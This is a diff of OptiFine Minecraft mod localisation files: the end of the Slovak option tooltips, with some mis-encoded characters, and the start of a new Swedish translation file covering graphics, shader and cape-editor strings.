+of.options.NATURAL_TEXTURES.tooltip.7=textúry kocky. Konfigurácia prirodzených textúr závisí +of.options.NATURAL_TEXTURES.tooltip.8=od zvoleného zdrojového balíka. + +of.options.EMISSIVE_TEXTURES=Žiariace textúry +of.options.EMISSIVE_TEXTURES.tooltip.1=Žiariace textúry +of.options.EMISSIVE_TEXTURES.tooltip.2= VYP - (Å¡tandard) žiadne žiariace textúry +of.options.EMISSIVE_TEXTURES.tooltip.3= ZAP - použiÅ¥ žiariace textúry +of.options.EMISSIVE_TEXTURES.tooltip.4=Žiariace textúry sú vykreslené ako vrchná vrstva +of.options.EMISSIVE_TEXTURES.tooltip.5=s najvyšším jasom. Je možné ich použiÅ¥ na simulovanie +of.options.EMISSIVE_TEXTURES.tooltip.6=žiariacich Äastí základnej textúry. +of.options.EMISSIVE_TEXTURES.tooltip.7=Žiariace textúry závisia od zvoleného +of.options.EMISSIVE_TEXTURES.tooltip.8=zdrojového balíka. + +of.options.CUSTOM_SKY=Vlastná obloha +of.options.CUSTOM_SKY.tooltip.1=Vlastná obloha +of.options.CUSTOM_SKY.tooltip.2= ZAP - (Å¡tandard) vlastná textúra oblohy, pomalÅ¡ia +of.options.CUSTOM_SKY.tooltip.3= VYP - Å¡tandardná obloha, rýchlejÅ¡ia +of.options.CUSTOM_SKY.tooltip.4=Textúra vlastnej oblohy závisí od zvoleného +of.options.CUSTOM_SKY.tooltip.5=zdrojového balíka. + +of.options.CUSTOM_ITEMS=Vlastné predmety +of.options.CUSTOM_ITEMS.tooltip.1=Vlastné predmety +of.options.CUSTOM_ITEMS.tooltip.2= ZAP - (Å¡tandard) vlastné textúry predmetov, pomalÅ¡ie +of.options.CUSTOM_ITEMS.tooltip.3= VYP - Å¡tandardné textúry predmetov, rýchlejÅ¡ie +of.options.CUSTOM_ITEMS.tooltip.4=Vlastné textúry predmetov závisia od +of.options.CUSTOM_ITEMS.tooltip.5=zvoleného zdrojového balíka. + +of.options.CUSTOM_ENTITY_MODELS=Vlastné modely entít +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Vlastné modely entít +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= ZAP - (Å¡tandard) vlastné modely entít, pomalÅ¡ie +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= VYP - Å¡tandardné modely entít, rýchlejÅ¡ie +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Vlastné modely entít závisia od +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=zvoleného zdrojového balíka. + +of.options.CUSTOM_GUIS=Vlastné GUI +of.options.CUSTOM_GUIS.tooltip.1=Vlastné grafické rozhrania (GUI) +of.options.CUSTOM_GUIS.tooltip.2= ZAP - (Å¡tandard) vlastné GUI, pomalÅ¡ie +of.options.CUSTOM_GUIS.tooltip.3= VYP - Å¡tandardné GUI, rýchlejÅ¡ie +of.options.CUSTOM_GUIS.tooltip.4=Vlastné GUI závisia od zvoleného zdrojového balíka. + +# Details + +of.options.CLOUDS=Oblaky +of.options.CLOUDS.tooltip.1=Oblaky +of.options.CLOUDS.tooltip.2= Å tandardné - podľa nastavenia Grafiky +of.options.CLOUDS.tooltip.3= Rýchle - nižšia kvalita, rýchlejÅ¡ie +of.options.CLOUDS.tooltip.4= Pekné - vyÅ¡Å¡ia kvalita, pomalÅ¡ie +of.options.CLOUDS.tooltip.5= VYP - žiadne oblaky, najrýchlejÅ¡ie +of.options.CLOUDS.tooltip.6=Rýchle oblaky sú vykreslené dvojrozmerne (2D). +of.options.CLOUDS.tooltip.7=Pekné oblaky sú vykreslené trojrozmerne (3D). + +of.options.CLOUD_HEIGHT=Výška oblakov +of.options.CLOUD_HEIGHT.tooltip.1=Výška oblakov +of.options.CLOUD_HEIGHT.tooltip.2= VYP - Å¡tandardná výška +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - nad výškovým limitom sveta + +of.options.TREES=Stromy +of.options.TREES.tooltip.1=Stromy +of.options.TREES.tooltip.2= Å tandardné - podľa nastavenia Grafiky +of.options.TREES.tooltip.3= Rýchle - nižšia kvalita, rýchlejÅ¡ie +of.options.TREES.tooltip.4= Chytré - vyÅ¡Å¡ia kvalita, rýchle +of.options.TREES.tooltip.5= Pekné - najvyÅ¡Å¡ia kvalita, pomalÅ¡ie +of.options.TREES.tooltip.6=Rýchle stromy majú nepriehľadné listy. +of.options.TREES.tooltip.7=Chytré a pekné stromy majú priehľadné listy. + +of.options.RAIN=DÃ¡Å¾Ä a sneh +of.options.RAIN.tooltip.1=DÃ¡Å¾Ä a sneh +of.options.RAIN.tooltip.2= Å tandardné - podľa nastavenia Grafiky +of.options.RAIN.tooltip.3= Rýchle - slabý dážÄ/sneh, rýchlejÅ¡ie +of.options.RAIN.tooltip.4= Pekné - silný dážÄ/sneh, pomalÅ¡ie +of.options.RAIN.tooltip.5= VYP - žiadny dážÄ/sneh, najrýchlejÅ¡ie +of.options.RAIN.tooltip.6=KeÄ je dÃ¡Å¾Ä vypnutý, kvapky a zvuky +of.options.RAIN.tooltip.7=dažÄa sú stále aktívne. + +of.options.SKY=Obloha +of.options.SKY.tooltip.1=Obloha +of.options.SKY.tooltip.2= ZAP - obloha je viditeľná, pomalÅ¡ie +of.options.SKY.tooltip.3= VYP - obloha nie je viditeľná, rýchlejÅ¡ie +of.options.SKY.tooltip.4=KeÄ je obloha vypnutá, slnko a mesiac sú stále viditeľné. + +of.options.STARS=Hviezdy +of.options.STARS.tooltip.1=Hviezdy +of.options.STARS.tooltip.2= ZAP - hviezdy sú viditeľné, pomalÅ¡ie +of.options.STARS.tooltip.3= VYP - hviezdy nie sú viditeľné, rýchlejÅ¡ie + +of.options.SUN_MOON=Slnko a mesiac +of.options.SUN_MOON.tooltip.1=Slnko a mesiac +of.options.SUN_MOON.tooltip.2= ZAP - (Å¡tandard) slnko a mesiac sú viditeľné +of.options.SUN_MOON.tooltip.3= VYP - slnko a mesiac nie sú viditeľné (rýchlejÅ¡ie) + +of.options.SHOW_CAPES=ZobraziÅ¥ plášte +of.options.SHOW_CAPES.tooltip.1=ZobraziÅ¥ plášte +of.options.SHOW_CAPES.tooltip.2= ZAP - (Å¡tandard) zobrazovaÅ¥ plášte hráÄov +of.options.SHOW_CAPES.tooltip.3= VYP - nezobrazovaÅ¥ plášte hráÄov + +of.options.TRANSLUCENT_BLOCKS=Priesvitné kocky +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Priesvitné kocky +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Å tandardné - podľa nastavenia Grafiky +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Pekné - správne mieÅ¡anie farieb (pomalÅ¡ie) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Rýchle - rýchle mieÅ¡anie farieb (rýchlejÅ¡ie) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Reguluje mieÅ¡anie farieb priesvitných kociek +of.options.TRANSLUCENT_BLOCKS.tooltip.6=s rôznymi farbami (farebné sklo, voda, ľad) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=keÄ sú položené za sebou s medzerou medzi nimi. + +of.options.HELD_ITEM_TOOLTIPS=Popisy predmetov v ruke +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Popisy predmetov v ruke +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= ZAP - (Å¡tandard) zobrazovaÅ¥ popisy predmetov v ruke +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= VYP - nezobrazovaÅ¥ popisy predmetov v ruke + +of.options.ADVANCED_TOOLTIPS=PokroÄilé popisy +of.options.ADVANCED_TOOLTIPS.tooltip.1=PokroÄilé popisy +of.options.ADVANCED_TOOLTIPS.tooltip.2= ZAP - zobrazovaÅ¥ pokroÄilé popisy +of.options.ADVANCED_TOOLTIPS.tooltip.3= VYP - (Å¡tandard) nezobrazovaÅ¥ pokroÄilé popisy +of.options.ADVANCED_TOOLTIPS.tooltip.4=PokroÄilé popisy zobrazujú rozšírené informácie +of.options.ADVANCED_TOOLTIPS.tooltip.5=predmetov (ID, trvanlivosÅ¥) a možností tieňovaÄov +of.options.ADVANCED_TOOLTIPS.tooltip.6=(ID, zdroj, Å¡tandardné hodnoty). + +of.options.DROPPED_ITEMS=Odhodené predmety +of.options.DROPPED_ITEMS.tooltip.1=Odhodené predmety +of.options.DROPPED_ITEMS.tooltip.2= Å tandardné - podľa nastavenia Grafiky +of.options.DROPPED_ITEMS.tooltip.3= Rýchle - 2D odhodené predmety, rýchlejÅ¡ie +of.options.DROPPED_ITEMS.tooltip.4= Pekné - 3D odhodené predmety, pomalÅ¡ie + +options.entityShadows.tooltip.1=Tiene entít +options.entityShadows.tooltip.2= ZAP - zobrazovaÅ¥ tiene entít +options.entityShadows.tooltip.3= VYP - nezobrazovaÅ¥ tiene entít + +of.options.VIGNETTE=Vineta +of.options.VIGNETTE.tooltip.1=Efekt, ktorý stmavuje okraje obrazovky +of.options.VIGNETTE.tooltip.2= Å tandardná - podľa nastavenia Grafiky +of.options.VIGNETTE.tooltip.3= Rýchla - vypnutá vineta (rýchlejÅ¡ie) +of.options.VIGNETTE.tooltip.4= Pekná - zapnutá vineta (pomalÅ¡ie) +of.options.VIGNETTE.tooltip.5=Vineta môže maÅ¥ vplyv na FPS, zvlášť +of.options.VIGNETTE.tooltip.6=pri hre na celej obrazovke. +of.options.VIGNETTE.tooltip.7=Vineta má nenápadný efekt a je +of.options.VIGNETTE.tooltip.8=bezpeÄné ju vypnúť. + +of.options.DYNAMIC_FOV=Dynamické zorné pole +of.options.DYNAMIC_FOV.tooltip.1=Dynamické zorné pole (FOV) +of.options.DYNAMIC_FOV.tooltip.2= ZAP - (Å¡tandard) zapnúť dynamické zorné pole +of.options.DYNAMIC_FOV.tooltip.3= VYP - vypnúť dynamické zorné pole +of.options.DYNAMIC_FOV.tooltip.4=CMení zorné pole pri lietaní, behu +of.options.DYNAMIC_FOV.tooltip.5=alebo naÅ¥ahovaní tetivy luku. + +of.options.DYNAMIC_LIGHTS=Dynamické svetlá +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamické svetlá +of.options.DYNAMIC_LIGHTS.tooltip.2= VYP - (Å¡tandard) žiadne dynamické svetlá +of.options.DYNAMIC_LIGHTS.tooltip.3= Rýchle - rýchle dynamické svetlá (obnovené každých 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Pekné - pekné dynamické svetlá (obnovované v reálnom Äase) +of.options.DYNAMIC_LIGHTS.tooltip.5=Umožní predmetom vyžarujúcim svetlo (fakľa, svietivec, atÄ.) +of.options.DYNAMIC_LIGHTS.tooltip.6=osvetliÅ¥ vÅ¡etko v ich okolí, keÄ je predmet v ruke, +of.options.DYNAMIC_LIGHTS.tooltip.7=na tele hráÄa, alebo odhodený na zemi. + +# Performance + +of.options.SMOOTH_FPS=Vyhladené FPS +of.options.SMOOTH_FPS.tooltip.1=Stabilizuje rýchlosÅ¥ snímok (FPS) premazávaním medzipamäte grafického ovládaÄa. +of.options.SMOOTH_FPS.tooltip.2= VYP - žiadna stabilizácia, FPS môže kolísaÅ¥ +of.options.SMOOTH_FPS.tooltip.3= ZAP - stabilizácia FPS +of.options.SMOOTH_FPS.tooltip.4=Toto nastavenie závisí od grafického ovládaÄa +of.options.SMOOTH_FPS.tooltip.5=a jeho efekt nie je vždy viditeľný. + +of.options.SMOOTH_WORLD=Vyhladený svet +of.options.SMOOTH_WORLD.tooltip.1=Odstraňuje oneskorenia spôsobené interným serverom. +of.options.SMOOTH_WORLD.tooltip.2= VYP - žiadna stabilizácia, FPS môže kolísaÅ¥ +of.options.SMOOTH_WORLD.tooltip.3= ZAP - stabilizácia FPS +of.options.SMOOTH_WORLD.tooltip.4=Stabilizuje FPS rozložením zaÅ¥aženia interného servera. +of.options.SMOOTH_WORLD.tooltip.5=FunkÄné len pre lokálne svety (hra pre jedného hráÄa). + +of.options.FAST_RENDER=Rýchle vykresľovanie +of.options.FAST_RENDER.tooltip.1=Rýchle vykresľovanie +of.options.FAST_RENDER.tooltip.2= VYP - (Å¡tandard) Å¡tandardné vykresľovanie +of.options.FAST_RENDER.tooltip.3= ZAP - optimalizované vykresľovanie (rýchlejÅ¡ie) +of.options.FAST_RENDER.tooltip.4=Používa optimalizovaný algoritmus vykresľovania, korý znižuje +of.options.FAST_RENDER.tooltip.5=zaÅ¥aženie procesora a môže znaÄne zvýšiÅ¥ FPS. +of.options.FAST_RENDER.tooltip.6=Táto možnosÅ¥ nemusí správne fungovaÅ¥ s niektorými módmi. + +of.options.FAST_MATH=Rýchle výpoÄty +of.options.FAST_MATH.tooltip.1=Rýchle výpoÄty +of.options.FAST_MATH.tooltip.2= VYP - (Å¡tandard) Å¡tandardná metóda výpoÄtov +of.options.FAST_MATH.tooltip.3= ZAP - rýchlejÅ¡ie výpoÄty +of.options.FAST_MATH.tooltip.4=Používa optimalizované funkcie sínus a kosínus, Äo umožní +of.options.FAST_MATH.tooltip.5=lepÅ¡ie využiie medzipamäte procesora zvýšenie FPS. +of.options.FAST_MATH.tooltip.6=Táto možnosÅ¥ môže minimálne ovplyvniÅ¥ generovanie sveta. + +of.options.CHUNK_UPDATES=Aktualizácie chunkov +of.options.CHUNK_UPDATES.tooltip.1=Aktualizácie chunkov +of.options.CHUNK_UPDATES.tooltip.2= 1 - (Å¡tandard) pomalÅ¡ie naÄítavanie sveta, vyÅ¡Å¡ie FPS +of.options.CHUNK_UPDATES.tooltip.3= 3 - rýchlejÅ¡ie naÄítavanie sveta, nižšie FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - najrýchlejÅ¡ie naÄítavanie sveta, najnižšie FPS +of.options.CHUNK_UPDATES.tooltip.5=PoÄet aktualizácií chunkov na každú vykreslenú snímku, +of.options.CHUNK_UPDATES.tooltip.6=vyÅ¡Å¡ie hodnoty môžu spôsobiÅ¥ výkyvy FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynamické aktualizácie +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamické aktualizácie chunkov +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= VYP - (Å¡tandard) standardné aktualizácie chunkov na snímku +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= ZAP - viac aktualizácií keÄ hrÃ¡Ä stojí na mieste +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynamické aktualizácie vynucujú viac aktualizácií chunkov +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=keÄ hrÃ¡Ä stojí na mieste, Äo zrýchľuje naÄítavanie sveta. + +of.options.LAZY_CHUNK_LOADING=Lenivé naÄítavanie chunkov +of.options.LAZY_CHUNK_LOADING.tooltip.1=Lenivé naÄítavanie chunkov +of.options.LAZY_CHUNK_LOADING.tooltip.2= VYP - Å¡tandardné naÄítavanie chunkov servera +of.options.LAZY_CHUNK_LOADING.tooltip.3= ZAP - lenivé naÄítavanie chunkov servera (hladÅ¡ie) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Vyhladzuje naÄítavanie chunkov integrovaného servera +of.options.LAZY_CHUNK_LOADING.tooltip.5=rozložením chunkov na viacero tikov. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Vypni ho, ak sa niektoré Äasti sveta nenaÄítavajú správne. +of.options.LAZY_CHUNK_LOADING.tooltip.7=FunkÄné len pre lokálne svety (hra pre jedného hráÄa). + +of.options.RENDER_REGIONS=Vykresľovacie regióny +of.options.RENDER_REGIONS.tooltip.1=Vykresľovacie regiony +of.options.RENDER_REGIONS.tooltip.2= VYP - (Å¡tandard) nepoužívaÅ¥ vykresľovacie regióny +of.options.RENDER_REGIONS.tooltip.3= ZAP - používaÅ¥ vykresľovacie regióny +of.options.RENDER_REGIONS.tooltip.4=Vykresľovacie regióny umožňujú rýchlejÅ¡ie vykresľovanie terénu pri +of.options.RENDER_REGIONS.tooltip.5=vyÅ¡Å¡ej vzdialenosti vykresľovania. ÚÄinnejÅ¡ie pri zapnutých VBO. +of.options.RENDER_REGIONS.tooltip.6=NeodporúÄa sa pri integrovaných grafických kartách. + +of.options.SMART_ANIMATIONS=Chytré animácie +of.options.SMART_ANIMATIONS.tooltip.1=Chytré animácie +of.options.SMART_ANIMATIONS.tooltip.2= VYP - nepoužívaÅ¥ chytré animácie (Å¡tandard) +of.options.SMART_ANIMATIONS.tooltip.3= ZAP - používaÅ¥ chytré animácie +of.options.SMART_ANIMATIONS.tooltip.4=S chytrými animáciami bude hra animovaÅ¥ len tie +of.options.SMART_ANIMATIONS.tooltip.5=textúry, ktoré sú práve viditeľné na obrazovke. +of.options.SMART_ANIMATIONS.tooltip.6=Znižuje to výkyvy zaÅ¥aženia a zvyÅ¡uje FPS. +of.options.SMART_ANIMATIONS.tooltip.7=Obzvlášť užitoÄné pri veľkých modpackoch a HD zdrojových balíkoch. + +# Animations + +of.options.animation.allOn=VÅ¡etky ZAP +of.options.animation.allOff=VÅ¡etky VYP +of.options.animation.dynamic=Dynamické + +of.options.ANIMATED_WATER=Animovaná voda +of.options.ANIMATED_LAVA=Animovaná láva +of.options.ANIMATED_FIRE=Animovaný oheň +of.options.ANIMATED_PORTAL=Animované portály +of.options.ANIMATED_REDSTONE=Animovaný redstone +of.options.ANIMATED_EXPLOSION=Animované výbuchy +of.options.ANIMATED_FLAME=Animované plamene +of.options.ANIMATED_SMOKE=Animovaný dym +of.options.VOID_PARTICLES=ÄŒastice prázdna +of.options.WATER_PARTICLES=ÄŒastice vody +of.options.RAIN_SPLASH=Å pliechanie dažÄa +of.options.PORTAL_PARTICLES=ÄŒastice portálov +of.options.POTION_PARTICLES=ÄŒastice elixírov +of.options.DRIPPING_WATER_LAVA=Kvapkajúca voda/láva +of.options.ANIMATED_TERRAIN=Animovaný terén +of.options.ANIMATED_TEXTURES=Animované textúry +of.options.FIREWORK_PARTICLES=ÄŒastice ohňostrojov + +# Other + +of.options.LAGOMETER=Lagometer +of.options.LAGOMETER.tooltip.1=Zobrazí lagometer na ladiacej obrazovke (F3). +of.options.LAGOMETER.tooltip.2=* Oranžová - Zbieranie odpadovej pamäti +of.options.LAGOMETER.tooltip.3=* Tyrkysová - Tik +of.options.LAGOMETER.tooltip.4=* Modrá - Plánované spustenia +of.options.LAGOMETER.tooltip.5=* Fialová - Upload chunkov +of.options.LAGOMETER.tooltip.6=* ÄŒervená - Aktualizácie chunkov +of.options.LAGOMETER.tooltip.7=* Žltá - Kontrola viditeľnosti +of.options.LAGOMETER.tooltip.8=* Zelená - Vykresľovanie terénu + +of.options.PROFILER=Profilovanie ladenia +of.options.PROFILER.tooltip.1=Profilovanie ladenia +of.options.PROFILER.tooltip.2= ZAP - profilovanie ladenia je zapnuté, pomalÅ¡ie +of.options.PROFILER.tooltip.3= VYP - profilovanie ladenia je vypnuté, rýchlejÅ¡ie +of.options.PROFILER.tooltip.4=Profilovanie ladenia zbiera a zobrazuje informácie o ladení +of.options.PROFILER.tooltip.5=keÄ je zobrazená ladiaca obrazovka (F3). + +of.options.WEATHER=PoÄasie +of.options.WEATHER.tooltip.1=PoÄasie +of.options.WEATHER.tooltip.2= ZAP - poÄasie je aktívne, pomalÅ¡ie +of.options.WEATHER.tooltip.3= VYP - poÄasie nie je aktívne, rýchlejÅ¡ie +of.options.WEATHER.tooltip.4=PoÄasie reguluje dážÄ, sneh a búrky. +of.options.WEATHER.tooltip.5=Ovládanie poÄasia je funkÄné len pre lokálne svety. + +of.options.time.dayOnly=Stále deň +of.options.time.nightOnly=Stále noc + +of.options.TIME=ÄŒas +of.options.TIME.tooltip.1=ÄŒas +of.options.TIME.tooltip.2= Å tandardný - normálny cyklus dní a nocí +of.options.TIME.tooltip.3= Stále deň - stále deň +of.options.TIME.tooltip.4= Stále noc - stále noc +of.options.TIME.tooltip.5=Nastavenie Äasu je funkÄné len pre tvorivú hru +of.options.TIME.tooltip.6=a len pre lokálne svety. + +options.fullscreen.tooltip.1=Celá obrazovka +options.fullscreen.tooltip.2= ZAP - hraÅ¥ na celej obrazovke +options.fullscreen.tooltip.3= VYP - hraÅ¥ v okne +options.fullscreen.tooltip.4=Hra na celej obrazovke môže byÅ¥ rýchlejÅ¡ia alebo pomalÅ¡ia než +options.fullscreen.tooltip.5=hra v okne, v závislosti od grafickej karty. + +of.options.FULLSCREEN_MODE=Režim celej obraovky +of.options.FULLSCREEN_MODE.tooltip.1=Režim celej obrazovky +of.options.FULLSCREEN_MODE.tooltip.2= Å tandardný - použiÅ¥ rozlíšenie obrazovky, pomalÅ¡ie +of.options.FULLSCREEN_MODE.tooltip.3= VxÅ  - použiÅ¥ vlastné rozlíšenie, môže byÅ¥ rýchlejÅ¡ie +of.options.FULLSCREEN_MODE.tooltip.4=Vybrané rozlíšenie je použité pri hre na celej obrazovke (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Nižšie rozlíšenia by vÅ¡eobecne mali byÅ¥ rýchlejÅ¡ie. + +of.options.SHOW_FPS=ZobraziÅ¥ FPS +of.options.SHOW_FPS.tooltip.1=Zobrazí kompaktné informácie o FPS a vykresľovaní. +of.options.SHOW_FPS.tooltip.2= Fps - priemerné/najnišžie +of.options.SHOW_FPS.tooltip.3= C: - vykresľovaÄe chunkov +of.options.SHOW_FPS.tooltip.4= E: - vykreslené entity + blok-entity +of.options.SHOW_FPS.tooltip.5= U: - aktualizácie chunkov +of.options.SHOW_FPS.tooltip.6=Kompaktné informácie o FPS sú zobrazené len pri +of.options.SHOW_FPS.tooltip.7=vypnutej ladiacej obrazovke (F3). + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Automatické ukladanie +of.options.AUTOSAVE_TICKS.tooltip.1=Interval automatického ukladania +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - Å¡tandard +of.options.AUTOSAVE_TICKS.tooltip.3=Å tandardný interval automatického ukladania (2s) SA NEODPORÚČA. +of.options.AUTOSAVE_TICKS.tooltip.4=Automatické ukladanie spôsobuje známy "lag smrti" (Lag Spike of Death). + +of.options.SCREENSHOT_SIZE=VeľkosÅ¥ snímok +of.options.SCREENSHOT_SIZE.tooltip.1=VeľkosÅ¥ snímok obrazovky (screenshot) +of.options.SCREENSHOT_SIZE.tooltip.2= Å tandardná - Å¡tandardná veľkosÅ¥ +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - vlastná veľkosÅ¥ +of.options.SCREENSHOT_SIZE.tooltip.4=Fotenie väÄších snímok môže vyžadovaÅ¥ viac pamäti. +of.options.SCREENSHOT_SIZE.tooltip.5=Nekompatibilné s rýchlym vykresľovaním a antialiasingom. +of.options.SCREENSHOT_SIZE.tooltip.6=Vyžaduje podporu GPU framebufferu. + +of.options.SHOW_GL_ERRORS=Zobrazenie GL chýb +of.options.SHOW_GL_ERRORS.tooltip.1=Zobrazenie OpenGL chýb +of.options.SHOW_GL_ERRORS.tooltip.2=Ak je zapnuté, OpenGL chyby sa zobrazujú v chate. +of.options.SHOW_GL_ERRORS.tooltip.3=Vypni len v prípade známeho problému, kde +of.options.SHOW_GL_ERRORS.tooltip.4=chyby nie je možné opraviÅ¥. +of.options.SHOW_GL_ERRORS.tooltip.5=AK je vypnuté, chyby sa stále zapisujú do denníka chýb +of.options.SHOW_GL_ERRORS.tooltip.6=a stále môžu spôsobiÅ¥ znaÄné poklesy FPS. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Pozadie chatu +of.options.CHAT_BACKGROUND.tooltip.1=Pozadie chatu +of.options.CHAT_BACKGROUND.tooltip.2= Å tandardné - pevná šírka +of.options.CHAT_BACKGROUND.tooltip.3= Kompaktné - podľa šírky riadka +of.options.CHAT_BACKGROUND.tooltip.4= VYP - skryté + +of.options.CHAT_SHADOW=Tieň chatu +of.options.CHAT_SHADOW.tooltip.1=Tieň chatu +of.options.CHAT_SHADOW.tooltip.2= ZAP - používaÅ¥ tieň chatu +of.options.CHAT_SHADOW.tooltip.3= VYP - nepoužívaÅ¥ tieň chatu diff --git a/src/assets/minecraft/optifine/lang/sv_se.lang b/src/assets/minecraft/optifine/lang/sv_se.lang new file mode 100644 index 00000000..3d33251f --- /dev/null +++ b/src/assets/minecraft/optifine/lang/sv_se.lang @@ -0,0 +1,775 @@ +# Contributors of Swedish localization # +# Regnander (_Spitz) 2016-01-18 ---- 2019-10-06 + +# General +of.general.ambiguous=tvetydig +of.general.compact=Kompakt +of.general.custom=Anpassad +of.general.from=FrÃ¥n +of.general.id=ID +of.general.max=Maximal +of.general.restart=starta om +of.general.smart=Smart + +# Keys +of.key.zoom=Zooma in + +# Message +of.message.aa.shaders1=Kantutjämning är inte kompatibel med Shaders. +of.message.aa.shaders2=Inaktivera Shaders för att aktivera detta alternativ. + +of.message.af.shaders1=Anisotropisk filtrering är inte kompatibel med Shaders. +of.message.af.shaders2=Inaktivera Shaders för att aktivera detta alternativ. + +of.message.fr.shaders1=Snabb rendering är inte kompatibel med Shaders. +of.message.fr.shaders2=Inaktivera Shaders för att aktivera detta alternativ. + +of.message.an.shaders1=3D-effekt är inte kompatibel med Shaders. +of.message.an.shaders2=Inaktivera Shaders för att aktivera detta alternativ. + +of.message.shaders.aa1=Shaders är inte kompatibla med Kantutjämning. +of.message.shaders.aa2=Ändra "Kvalitet -> Kantutjämning" till AV och starta om spelet. + +of.message.shaders.af1=Shaders är inte kompatibla med Anisotropisk filtrering. +of.message.shaders.af2=Ändra "Kvalitet -> Anisotropisk filtrering" till AV. + +of.message.shaders.fr1=Shaders är inte kompatibla med Snabb rendering. +of.message.shaders.fr2=Ändra "Prestanda -> Snabb rendering" till AV. + +of.message.shaders.an1=Shaders är inte kompatibla med 3D-effekt. +of.message.shaders.an2=Ändra "Övrigt -> 3D-effekt" till AV. + +of.message.shaders.nv1=Detta shaderpaket kräver en nyare version av OptiFine: %s +of.message.shaders.nv2=Är du säker pÃ¥ att du vill fortsätta? + +of.message.newVersion=En ny version av §eOptiFine§f finns tillgänglig: §e%s§f +of.message.java64Bit=Du kan installera §e64-bitarsversionen av Java§f för att förbättra prestandan. +of.message.openglError=§eOpenGL-fel§f: %s (%s) + +of.message.shaders.loading=Läser in shaders: %s + +of.message.other.reset=Ã…terställ alla grafikinställningar till dess standardvärden? + +of.message.loadingVisibleChunks=Läser in synliga datablock + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine-mantel... + +of.options.capeOF.title=OptiFine-mantel +of.options.capeOF.openEditor=Öppna mantelredigerare +of.options.capeOF.reloadCape=Uppdatera mantel +of.options.capeOF.copyEditorLink=Kopiera länk till urklipp + +of.message.capeOF.openEditor=OptiFines mantelredigerare bör öppnas i en webbläsare. +of.message.capeOF.openEditorError=Fel uppstod när länken till redigeraren skulle öppnas i en webbläsare. +of.message.capeOF.reloadCape=Manteln kommer att uppdateras om 15 sekunder. + +of.message.capeOF.error1=Mojang-autentisering misslyckades. +of.message.capeOF.error2=Fel: %s + +# Video settings + +options.graphics.tooltip.1=Visuell kvalitet +options.graphics.tooltip.2= Snabbt - lägre kvalitet, snabbare +options.graphics.tooltip.3= Snyggt - högre kvalitet, lÃ¥ngsammare +options.graphics.tooltip.4=Ändrar utseendet för moln, löv, vatten, skuggor och +options.graphics.tooltip.5=gräskanter. + +of.options.renderDistance.tiny=Litet +of.options.renderDistance.short=Kort +of.options.renderDistance.normal=Normalt +of.options.renderDistance.far=LÃ¥ngt +of.options.renderDistance.extreme=Extremt +of.options.renderDistance.insane=Galet +of.options.renderDistance.ludicrous=Löjligt + +options.renderDistance.tooltip.1=Synligt avstÃ¥nd +options.renderDistance.tooltip.2= 2 Litet - 32m (snabbast) +options.renderDistance.tooltip.3= 8 Normalt - 128m (normalt) +options.renderDistance.tooltip.4= 16 LÃ¥ngt - 256m (lÃ¥ngsammare) +options.renderDistance.tooltip.5= 32 Extremt - 512m (lÃ¥ngsammast!) mkt resurskrävande +options.renderDistance.tooltip.6= 48 Galet - 768m, behöver 2GB allokerat RAM +options.renderDistance.tooltip.7= 64 Löjligt - 1024m, behöver 3GB allokerat RAM +options.renderDistance.tooltip.8=Värden över 16 fungerar endast i lokala världar. + +options.ao.tooltip.1=Ljusutjämning +options.ao.tooltip.2= AV - ingen ljusutjämning (snabbast) +options.ao.tooltip.3= Minimum - enkel ljusutjämning (lÃ¥ngsammare) +options.ao.tooltip.4= Maximum - avancerad ljusutjämning (lÃ¥ngsammast) + +options.framerateLimit.tooltip.1=Maximal bildfrekvens +options.framerateLimit.tooltip.2= VSync - använder skärmens bildfrekvens (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variabel +options.framerateLimit.tooltip.4= Oändlig - ingen begränsning (snabbast) +options.framerateLimit.tooltip.5=Bildfrekvensens gräns reducerar bildfrekvensen även +options.framerateLimit.tooltip.6=om gränsens värde inte nÃ¥s. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=LjusutjämningsnivÃ¥ +of.options.AO_LEVEL.tooltip.1=LjusutjämningsnivÃ¥ +of.options.AO_LEVEL.tooltip.2= AV - inga skuggor +of.options.AO_LEVEL.tooltip.3= 50%% - ljusa skuggor +of.options.AO_LEVEL.tooltip.4= 100%% - mörka skuggor + +options.viewBobbing.tooltip.1=Mer verklighetstrogna rörelser. +options.viewBobbing.tooltip.2=Inaktivera detta om mipmaps används för bästa resultat. + +options.guiScale.tooltip.1=Gränssnittsskala +options.guiScale.tooltip.2= Automatisk - maximal storlek +options.guiScale.tooltip.3= Liten, Normal, Stor - 1x till 3x +options.guiScale.tooltip.4= 4x till 10x - tillgängliga pÃ¥ 4K-skärmar +options.guiScale.tooltip.5=Udda värden (1x, 3x, 5x...) är inte kompatibla med Unicode. +options.guiScale.tooltip.6=Ett 